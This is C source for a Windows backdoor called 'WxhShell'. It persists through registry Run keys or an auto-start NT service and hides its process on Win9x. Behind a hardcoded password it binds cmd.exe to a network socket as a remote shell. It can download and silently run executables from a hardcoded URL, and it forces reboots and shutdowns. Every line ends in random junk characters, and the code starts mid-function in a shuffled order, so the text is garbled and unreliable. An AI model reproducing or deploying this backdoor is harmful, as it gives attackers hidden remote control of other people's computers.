    send(wsh,msg_ws_err,strlen(msg_ws_err),0); R $vo  
    else { lFHj]%Y  
    closesocket(wsh); {rp5qgVE<  
    ExitThread(0); :el]IH  
    } {*EA5;  
    break; # tN#_<W  
    } lPA:aHcj  
  // 获取shell >]DnEF&  
  case 's': { @.JhL[f  
    CmdShell(wsh); @EPO\\C"f  
    closesocket(wsh); P)VysYb?  
    ExitThread(0); %!_okf   
    break; IhIPy~Hgt  
  } GwHp@_>  
  // 退出 J|vriI;  
  case 'x': { Mp8BilH-T  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 0taopDi ;d  
    CloseIt(wsh); aTJs.y -I~  
    break; ?V3kIb  
    } } v#Tm  
  // 离开 La$*)qD,  
  case 'q': { :C%cnU;N  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 8KQD w:  
    closesocket(wsh); &<Gs@UX~w  
    WSACleanup(); Qw&It  
    exit(1); ?Q`u\G3.m  
    break; IF"-{@  
        } (]*otVJ  
  } ?`jh5Kw%y  
  } Xbm\"g \  
n*7Ytz3#'  
  // 提示信息 _FG?zE  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ^Q)&lxlxpx  
} ryk(Am<  
  } .i^aYbB$X  
l$j/Ye]  
  return; f$\gm+&hXE  
} r-Nv<oH;  
~7$NVKE  
// shell模块句柄 RtE2%d$JT  
int CmdShell(SOCKET sock) ;>#YOxPl  
{ s>i`=[qFc  
STARTUPINFO si; Sb9O#$89  
ZeroMemory(&si,sizeof(si)); bf9LR1  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; a!n |/9 6  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; a@>P?N~LA9  
PROCESS_INFORMATION ProcessInfo; -F&4<\=+  
char cmdline[]="cmd"; 1 uKWvp0\  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); o;d><  
  return 0; #!a}ZhIt  
} fu}ZOPu  
^ Tr )gik  
// 自身启动模式 p3sR>ToJ  
int StartFromService(void) 6xFvu7L_c;  
{ 3%"r%:fQB/  
typedef struct bV'^0(Zv  
{ K6C@YY(  
  DWORD ExitStatus; z?9vbx  
  DWORD PebBaseAddress;  BKiyog  
  DWORD AffinityMask; F_Pv\?35z  
  DWORD BasePriority; 8efQ -^b.  
  ULONG UniqueProcessId; /hNZ7\|P  
  ULONG InheritedFromUniqueProcessId; @zz4,,]  
}   PROCESS_BASIC_INFORMATION; T B!z:n  
_[eAA4h  
PROCNTQSIP NtQueryInformationProcess; UK{6Rh ;  
.Xq4QR .  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 7'pmW,;  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; n/>^!S  
@k"Q e&BQ  
  HANDLE             hProcess; :Adx7!6  
  PROCESS_BASIC_INFORMATION pbi; ,};UD  W  
h3}gg@Fm  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); sBsf{%I[{  
  if(NULL == hInst ) return 0; Q Pel n)  
$i:wS= w'  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 2YU-iipdOq  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); -F7GUB6B  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); j,HUk,e^&  
tC4:cX  
  if (!NtQueryInformationProcess) return 0; `^mPq?f  
3bCb_Y  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); @raw8w\Zj+  
  if(!hProcess) return 0; @W{VT7w  
&}YJ"o[I  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Py&DnG'H  
'G6M:IXno  
  CloseHandle(hProcess); @|N'V"*MT  
#u<^  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ;w\7p a  
if(hProcess==NULL) return 0; 2}NWFM3C  
 k|Xxr  
HMODULE hMod; k^x[(gw  
char procName[255]; R F)Qsa  
unsigned long cbNeeded; WcG!6.U>  
F|rJ{=x  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ;q8tOvQ  
R{GT? wl  
  CloseHandle(hProcess); f3g#(1  
uQ}0hs  
if(strstr(procName,"services")) return 1; // 以服务启动 `oDs]90  
%[l*:05  
  return 0; // 注册表启动 \R m2c8Z2  
} R<5GG|(B  
#_A <C+[  
// 主模块 Z~JX@s0v  
int StartWxhshell(LPSTR lpCmdLine) 3)? v  
{ *{ =5AW}o  
  SOCKET wsl; 2jMV6S9  
BOOL val=TRUE; 72YL   
  int port=0; "*ot:;I  
  struct sockaddr_in door; G>3]A5  
@[:JQ'R=  
  if(wscfg.ws_autoins) Install(); u{H'evv0O  
=p1aF/1$I  
port=atoi(lpCmdLine); zF%'~S0{  
Ql%0%naq1  
if(port<=0) port=wscfg.ws_port; h{$mL#J  
Vy+%sG q"  
  WSADATA data; 4 ^=qc99  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; |GDf<\  
[(hB%x_"  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Oq7R^t`b  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); oj8_e xx  
  door.sin_family = AF_INET; Sxj _gn  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 86]})H  
  door.sin_port = htons(port); S%+$  
YTQom!O  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { )Mtw9[  
closesocket(wsl); UL46%MFQ\  
return 1; 0+i\j`O&  
} &WqKsH$  
yNVmTb9mF  
  if(listen(wsl,2) == INVALID_SOCKET) { &_DRrp0CN  
closesocket(wsl); ?r`UBR+[  
return 1; {3jV ,S  
} 4f}:)M$5  
  Wxhshell(wsl); d )}@0Q  
  WSACleanup(); *=6,}rX"I  
/7bIE!Cn  
return 0; M~6x&|2  
/c`s$h4-  
} ylV.ZoY6  
|k # ~  
// 以NT服务方式启动 A7/ R5p  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) CdTyUl  
{ v Ft]n  
DWORD   status = 0; uSAb  
  DWORD   specificError = 0xfffffff; z3RlD"F1  
M"E ]r=1  
  serviceStatus.dwServiceType     = SERVICE_WIN32; w""5T|  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; HjX!a29Wf  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; *\UxdL 22  
  serviceStatus.dwWin32ExitCode     = 0; c|kQ3(  
  serviceStatus.dwServiceSpecificExitCode = 0; ;[)t*yAh  
  serviceStatus.dwCheckPoint       = 0; l&]Wyaz@n  
  serviceStatus.dwWaitHint       = 0; Gk.;<d  
% d%KH9u  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); a^9-9*  
  if (hServiceStatusHandle==0) return; aCL_cVOMR  
W?(^|<W  
status = GetLastError(); Fu K(SP3  
  if (status!=NO_ERROR) .szs?  
{ [jOvy>2K]  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; *ybwl Lg  
    serviceStatus.dwCheckPoint       = 0; OMr&f8  
    serviceStatus.dwWaitHint       = 0; 80/6-_g(  
    serviceStatus.dwWin32ExitCode     = status; ?pT\Ft V  
    serviceStatus.dwServiceSpecificExitCode = specificError;  Ji>  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); m &U $V  
    return; o9tvf|+z  
  } -rEg(@S %  
K?y!zy  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; wbC'SOM  
  serviceStatus.dwCheckPoint       = 0; %cWy0:F5VY  
  serviceStatus.dwWaitHint       = 0; qJ;T$W=NG  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); M5SAlj  
} ~MvLrg"i  
_` %z  
// 处理NT服务事件,比如:启动、停止 G8JwY\  
VOID WINAPI NTServiceHandler(DWORD fdwControl) HxC_n h  
{ Vd8BQB,Q  
switch(fdwControl) 8a\ Pjk  
{ 8:BPXdiK  
case SERVICE_CONTROL_STOP: n ..9F$a  
  serviceStatus.dwWin32ExitCode = 0; )/'y'd<r  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; e[3 rz%'Q  
  serviceStatus.dwCheckPoint   = 0; x*)@:W!  
  serviceStatus.dwWaitHint     = 0; (I?CW~3#  
  { #>SvYP  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); u}Q@u!~e9  
  } K1P3 FfG  
  return; uW.)(l  
case SERVICE_CONTROL_PAUSE: nDR)UR  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ]-6=+\]   
  break; qR W WG&  
case SERVICE_CONTROL_CONTINUE: lgxG:zAC  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; S?Y,sl+A:  
  break; E57J).x-BP  
case SERVICE_CONTROL_INTERROGATE: OVsZUmSG  
  break; 39W"G7n?v  
}; Q k`yK|(0=  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); QfI)+pf  
} 4eSV( u)4  
EZm6WvlxSI  
// 标准应用程序主函数 UuV<#N)  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 0n <t/74  
{ ar0y8>]3  
mUj=NRq  
// 获取操作系统版本 t"0Z=`Wi  
OsIsNt=GetOsVer(); &^HqbLz  
GetModuleFileName(NULL,ExeFile,MAX_PATH); G/F0 )M  
IC-k  
  // 从命令行安装 0NY2Kw;  
  if(strpbrk(lpCmdLine,"iI")) Install(); -{ Ng6ntS  
k^|P8v+"D  
  // 下载执行文件 it2@hZc5  
if(wscfg.ws_downexe) { >L#HE  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) \O"EK~x}/  
  WinExec(wscfg.ws_filenam,SW_HIDE); E7eOKNVC#  
} 7Y:~'&U|  
oGzZ.K3 A  
if(!OsIsNt) { y;N[#hY#CD  
// 如果时win9x,隐藏进程并且设置为注册表启动 S`LS/)  
HideProc(); @v1f)(N  
StartWxhshell(lpCmdLine); |[k/%  
} A7~~{9  
else Az_s"}G  
  if(StartFromService()) 3pSkk  
  // 以服务方式启动 Q\H_lB  
  StartServiceCtrlDispatcher(DispatchTable); )~q@2^  
else _,h hO  
  // 普通方式启动 Wcy N, 5  
  StartWxhshell(lpCmdLine); kfF.Ctr1a  
~E2xIhV  
return 0; giy4<  
} [u_-x3`  
+U(m b  
O -a`A.  
Z/ "jLfP  
=========================================== *@'\4OO  
MQR@(>TZy  
5feCA ,v7  
R3]Ra&h6N)  
0K -jF5i$`  
3P1OyB  
" GS^U6Xef  
q%u;+/|l  
#include <stdio.h> |w(@a:2 kw  
#include <string.h> su~_l[6  
#include <windows.h> L#'B-G4&y  
#include <winsock2.h> ^O cM)Z6h  
#include <winsvc.h> ' LT6%<|  
#include <urlmon.h> UR~9*`Z ,  
lGa'Y  
#pragma comment (lib, "Ws2_32.lib") anj*a<C<  
#pragma comment (lib, "urlmon.lib") ^(p}hSLAfQ  
K0xZZ`  
#define MAX_USER   100 // 最大客户端连接数 '1{#I/P;  
#define BUF_SOCK   200 // sock buffer dP(*IOO.  
#define KEY_BUFF   255 // 输入 buffer K!q:A+]  
h"S+8Y:1{k  
#define REBOOT     0   // 重启 `[JX}<~i  
#define SHUTDOWN   1   // 关机 Re <G#*^  
M[ea!an  
#define DEF_PORT   5000 // 监听端口  *$nz<?  
4_3 DQx9s  
#define REG_LEN     16   // 注册表键长度 y0Pr[XZ  
#define SVC_LEN     80   // NT服务名长度 i%7b)t[y  
B]K@'#  
// 从dll定义API }e/P|7&  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); e2~i@vq  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); YadY?o./  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); \2!v~&S  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 7Zl- |  
hB#z8D  
// wxhshell配置信息 Z6<vLc  
struct WSCFG { fu/v1Nhm  
  int ws_port;         // 监听端口 0z g\thL  
  char ws_passstr[REG_LEN]; // 口令 v4}kmH1  
  int ws_autoins;       // 安装标记, 1=yes 0=no 4  |$|]E  
  char ws_regname[REG_LEN]; // 注册表键名 gIR{!'  
  char ws_svcname[REG_LEN]; // 服务名 9,|&+G$  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 L3 M]06y  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 #NM .g  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 DCfV  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ,*fvA?  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" EQ&E C  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Y?Yix   
1MdVWFKXV  
}; \*#9Ry^f  
UOrf wK  
// default Wxhshell configuration >= Hcw  
struct WSCFG wscfg={DEF_PORT, 36D-J)-Z  
    "xuhuanlingzhe", ;|v6^2H"  
    1, ]*+ozAG4  
    "Wxhshell", rIz"_r  
    "Wxhshell", WP1>)  
            "WxhShell Service", 8phc ekh+  
    "Wrsky Windows CmdShell Service", C% <[mM  
    "Please Input Your Password: ", ?U]/4]  
  1, yi3@-  
  "http://www.wrsky.com/wxhshell.exe", @>'.F<:P<  
  "Wxhshell.exe" K;2tY+I  
    }; rt5UT~  
/ey[cm2#[s  
// 消息定义模块 9V&%_.Z  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; h3.wR]ut  
char *msg_ws_prompt="\n\r? for help\n\r#>"; |y@TI  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; xUE9%qO  
char *msg_ws_ext="\n\rExit."; Ue|]M36  
char *msg_ws_end="\n\rQuit."; ]@bo;.  
char *msg_ws_boot="\n\rReboot..."; jcF/5u5e  
char *msg_ws_poff="\n\rShutdown..."; w U.K+4-k  
char *msg_ws_down="\n\rSave to "; 4NxtU/5-sU  
vkan+~H  
char *msg_ws_err="\n\rErr!"; 5H#3PZaQ  
char *msg_ws_ok="\n\rOK!"; ~SkdP7 )  
IMzhEm  
char ExeFile[MAX_PATH]; eRllF` *  
int nUser = 0; EAq/Yw2$  
HANDLE handles[MAX_USER]; LV{a^!f`y  
int OsIsNt; ?\:ysTVu  
F9]j{'#  
SERVICE_STATUS       serviceStatus; Y7)YJI  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; k3se<NL[  
Zs!)w9y&V  
// 函数声明 WF<0QH  
int Install(void); ^ MkT">  
int Uninstall(void); 6.|f iQs ]  
int DownloadFile(char *sURL, SOCKET wsh); vyT$IdV2  
int Boot(int flag); CqDMq!  
void HideProc(void); HPs$R [  
int GetOsVer(void); 5:SfPAx  
int Wxhshell(SOCKET wsl); w}pFa76rm  
void TalkWithClient(void *cs); @)iv'   
int CmdShell(SOCKET sock); 0Ha1pqR  
int StartFromService(void); 4f~hd-z  
int StartWxhshell(LPSTR lpCmdLine); Zk2-U"0\o  
VF=$'Bl|  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); dI&2dcumS  
VOID WINAPI NTServiceHandler( DWORD fdwControl );  5I5~GH  
]SpUD  
// 数据结构和表定义 kEWC  
SERVICE_TABLE_ENTRY DispatchTable[] = xmZ]mu,,$  
{ 6l IFxc  
{wscfg.ws_svcname, NTServiceMain}, elXY*nt8h  
{NULL, NULL} ,dKcxp~[  
}; '.oEyZA;o  
nK Rx_D$d  
// 自我安装  ' -[  
int Install(void) 0Z#&!xTb  
{ ciI;U/V  
  char svExeFile[MAX_PATH]; ZbCu -a{v  
  HKEY key; DGdSu6s$  
  strcpy(svExeFile,ExeFile); -8Z%5W`  
^r73(8{)  
// 如果是win9x系统,修改注册表设为自启动 @Y*ONnl  
if(!OsIsNt) {  3+"z  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 3.B|uN  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); pm O}m>  
  RegCloseKey(key); +](^gaDw<L  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { IZeWswz  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); GEy^*, d  
  RegCloseKey(key); T>d-f=(9KH  
  return 0; u!mUUFl  
    } :<Y,^V(  
  } T<~NB5&f  
} #)_4$<P*'  
else { & :x_  
S/ ]2Qt#T  
// 如果是NT以上系统,安装为系统服务 erYpeq.  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); *nU7v3D  
if (schSCManager!=0) d@pD5n=m;  
{ 21M@z(q*  
  SC_HANDLE schService = CreateService /og2+!  
  ( l,HMm|oU  
  schSCManager, Ra[{K@  
  wscfg.ws_svcname, s CSrwsbhv  
  wscfg.ws_svcdisp, U,Nf&g  
  SERVICE_ALL_ACCESS, TIlcdpwXf  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , lM"@vNgK  
  SERVICE_AUTO_START, !HM{imT  
  SERVICE_ERROR_NORMAL, i3s-l8\\z  
  svExeFile, FSd842O  
  NULL, rC}r99Pe:x  
  NULL, 6~V$0Y>]  
  NULL, YY{S0jnhF  
  NULL, FkR9-X<  
  NULL _!H{\kU  
  ); =yOIP@  
  if (schService!=0) cD Z]r@AQ  
  { 0Z8K+,'!  
  CloseServiceHandle(schService); rgdDkWLXC  
  CloseServiceHandle(schSCManager); QRhR.:M\  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); bNp RGhlV  
  strcat(svExeFile,wscfg.ws_svcname); a_w# ,^/P  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { l~Hs]*jm  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 5`*S'W}\>  
  RegCloseKey(key); Jj_E/c"  
  return 0; i,M<}e1  
    } !.H< dQS  
  } $0V<wsVM  
  CloseServiceHandle(schSCManager); O8TAc]B  
} ^k]OQc7q'  
} wqJ^tA!  
3|-)]^1O  
return 1; gI6./;;x  
} p E lF,Y  
D`,W1Z#  
// 自我卸载 d%NO_=I.  
int Uninstall(void) 3i=+ [  
{ fmY=SqQG-  
  HKEY key; F#eZfj~  
A#RA;Dt:  
if(!OsIsNt) { 'J#u ;KJ  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { E$=!l{Ms  
  RegDeleteValue(key,wscfg.ws_regname); lNowH0K!D  
  RegCloseKey(key); -("sp  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { !"j?dQ.U;  
  RegDeleteValue(key,wscfg.ws_regname); u.x>::i&  
  RegCloseKey(key); i]a 5cn  
  return 0; rg)>ZHx  
  } x6\EU=,  
} jQ@z!GirT  
} R}>xpU1  
else { CEq0ZL-W  
CWdA8)n.  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); %WiDz0o  
if (schSCManager!=0) 5Jh=${  
{ ='a[(C&Y  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); e<6fe-g9;  
  if (schService!=0) <xOXuve  
  { ({i}EC7{  
  if(DeleteService(schService)!=0) { QI'ule  
  CloseServiceHandle(schService); t J N;WK.6  
  CloseServiceHandle(schSCManager); /]=Ih  
  return 0; aFGEHZJQ  
  } s'qd%JxD  
  CloseServiceHandle(schService); 4*< x0  
  } Y^Y|\0  
  CloseServiceHandle(schSCManager); 2'Cwx-_G`  
} .;)7)%  
} W0J d2*]  
XdjM/hB{fD  
return 1; Md mS  
} {.qeVE{  
/ CEnyE/  
// 从指定url下载文件 YAQ]2<H  
int DownloadFile(char *sURL, SOCKET wsh) {fFZ%$  
{ C?m2R(RF  
  HRESULT hr; /#lhRNX  
char seps[]= "/"; jcD_<WSe  
char *token; }7&.FV "  
char *file; f]Z%,'1^  
char myURL[MAX_PATH]; _rt+OzZ*L  
char myFILE[MAX_PATH]; rT7W_[&P  
&u&+:m  
strcpy(myURL,sURL); nb dm@   
  token=strtok(myURL,seps); uNSaw['0j  
  while(token!=NULL) CAg~K[  
  { dJxdrs  
    file=token; 2-=Ov@y2k!  
  token=strtok(NULL,seps); }#):ZPTs  
  } 3kfrOf.4h  
v6=pV4k9  
GetCurrentDirectory(MAX_PATH,myFILE); 55Z)*JMv  
strcat(myFILE, "\\"); GPV=(}z  
strcat(myFILE, file); 0x BO5[w,Y  
  send(wsh,myFILE,strlen(myFILE),0); X)7_@,7  
send(wsh,"...",3,0); XzLB#0  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ^f6p w!  
  if(hr==S_OK) Nl/^ga  
return 0; C\ 2rSyo  
else NzS(, F  
return 1; $O nh2 ^  
EZs"?A  
} +}3l$L'bY  
(4]M7b[S$  
// 系统电源模块 ($QQuM=  
int Boot(int flag) RW"QUT  
{ IQZ/8UwB  
  HANDLE hToken; )?`G"( y  
  TOKEN_PRIVILEGES tkp; /=5:@  
|k.%e4  
  if(OsIsNt) { }ejZk bP  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); tKS'#y!R  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); F/%M`?m"ie  
    tkp.PrivilegeCount = 1; oRkh>yj'  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; U80h0t%  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); `:b*#@  
if(flag==REBOOT) { vJ,r}$H3  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) I<+EXH%1,  
  return 0; lKdd3W"o  
} h~EGRg  
else { '[WVP=M<XV  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) !d.bCE~  
  return 0; x-nO; L-2p  
} d#8 n<NM  
  } [&(~{#}M:  
  else { j+"w2  
if(flag==REBOOT) { WUBI( g\  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) :+ZLKm  
  return 0; 8 $qj&2 N  
} xeNj@\jdC5  
else { NH aY&\  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) G)8v~=Bv  
  return 0; T W#s)iDi  
} `!(I Q&  
} MCO2(E-  
,ZV>"'I:  
return 1; %_@T'!]  
} c7~'GXxQ2  
U9"(jl/o  
// win9x进程隐藏模块 9Bao~(j/k  
void HideProc(void) !S~0T!afF  
{ kqkTz_r|H  
Gf=3h4  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); b(_f{R7PY  
  if ( hKernel != NULL ) do.AesdXaq  
  { FUVp}>#U  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 8IkmFXj  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); jd`h)4  
    FreeLibrary(hKernel); %?hvN  
  } g@2KnzD  
5,R4:y ?cK  
return; +OI<0  
} 4mHk,Dd9,  
PrHoN2y5E  
// 获取操作系统版本 \483S]_-z{  
int GetOsVer(void) N:q\i57x  
{ NkV81?  
  OSVERSIONINFO winfo; A?bqDy  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); uH&B=w  
  GetVersionEx(&winfo); i E?yvtr8  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ds2%i  
  return 1; >PzZt8e  
  else g=/!Ry=  
  return 0; "Zfm4Nx "  
} 1xEFMHjy  
\E=MV~:R  
// 客户端句柄模块 uUiS:Tp]  
int Wxhshell(SOCKET wsl) 9=q&SG  
{ [l/!&6  
  SOCKET wsh; jF@BWPtF=  
  struct sockaddr_in client; JZdRAL2#v  
  DWORD myID; efNscgi  
PN3 Qxi4F  
  while(nUser<MAX_USER) >0z`H|;  
{ h,?%,GI  
  int nSize=sizeof(client); OqWm5(u&S  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); YkFAu8b>  
  if(wsh==INVALID_SOCKET) return 1; I7wR[&L885  
jlA6~n  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); [Tl66Eyl  
if(handles[nUser]==0) w4fQ~rcUIc  
  closesocket(wsh); ?[uHRBR'  
else r+d+gO.  
  nUser++; g >@a  
  } bg!(B<!X  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 5 JlgnxRq  
m lxtey6H3  
  return 0; k`;d_eW  
} '?jsH+j+  
tI@aRF=p]2  
// 关闭 socket XzPOqZ`Nv  
void CloseIt(SOCKET wsh) F$-fj "jC  
{ t.+)g-X  
closesocket(wsh); #mU<]O  
nUser--; &b`'RZe  
ExitThread(0); gnGh )  
} wfv\xHG  
jEE!H /  
// 客户端请求句柄 8_E(.]U  
void TalkWithClient(void *cs) twu,yC!  
{ XG*> yra`  
qyxd9Lk1  
  SOCKET wsh=(SOCKET)cs; Gy[anDE&  
  char pwd[SVC_LEN]; D>8p: ^3g  
  char cmd[KEY_BUFF]; `KtP ;nG  
char chr[1]; .*f 6n|  
int i,j; ?em8nZ'  
Do77V5  
  while (nUser < MAX_USER) { rFGPS%STS  
k33\;9@k  
if(wscfg.ws_passstr) { Zf1 uK(6X  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); *;)O'|  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); sE'c$H  
  //ZeroMemory(pwd,KEY_BUFF); b*(K;`9)B  
      i=0; 8Ji`wnkXe  
  while(i<SVC_LEN) { j^5YFUwsQg  
[-VK! 9pQ  
  // 设置超时 $OG){'X  
  fd_set FdRead; ,oUzaEX  
  struct timeval TimeOut; Z.&/,UU:4  
  FD_ZERO(&FdRead); .^M#BAt2  
  FD_SET(wsh,&FdRead);  B$6KI  
  TimeOut.tv_sec=8; 0zA;%oP  
  TimeOut.tv_usec=0; z"T+J?V/  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); sfipAM  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); qFK.ULgP`  
 4pl\qf  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 5'NNwc\  
  pwd=chr[0]; 1)^\R(l  
  if(chr[0]==0xd || chr[0]==0xa) { =.7tS'  
  pwd=0; EcL6lNTR+  
  break; .8Bu%Sf  
  } 9tU"+  
  i++; O Bcz'f~  
    } NTD1QJ  
zBl L98  
  // 如果是非法用户,关闭 socket q01 L{~>bz  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); >O<a9wz  
} {f\wIZ-K A  
">.tPn  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); YHO}z}f[!  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); WKiP0~  
-yB}(69  
while(1) { xh bN=L  
4~3 n =T*  
  ZeroMemory(cmd,KEY_BUFF); *~g*J^R}  
1&! i:F#  
      // 自动支持客户端 telnet标准   "D8WdV(  
  j=0; r :$tvT*  
  while(j<KEY_BUFF) { \?]U*)B.r  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); )2RRa^=&  
  cmd[j]=chr[0]; cz,QP'g  
  if(chr[0]==0xa || chr[0]==0xd) { ]7Du/)$  
  cmd[j]=0; Cyd/HTNh<  
  break; *d jLf.I@  
  }  :`N ZD  
  j++; iphC\*F  
    } iAZ8Y/  
!p/SX>NJ  
  // 下载文件 i_Hm?Bi!F  
  if(strstr(cmd,"http://")) { { PX&#,_  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); J/'Fj?  
  if(DownloadFile(cmd,wsh)) g kO^J{_@q  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~1D^C |%  
  else r) x  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); bwzx_F/  
  } jhm/ <=  
  else { t*9 gusmG  
WI4<2u;  
    switch(cmd[0]) { O_8 SlW0e  
  m{Vd3{H40  
  // 帮助 7H)$NG<U$  
  case '?': { ,eBC]4)B6  
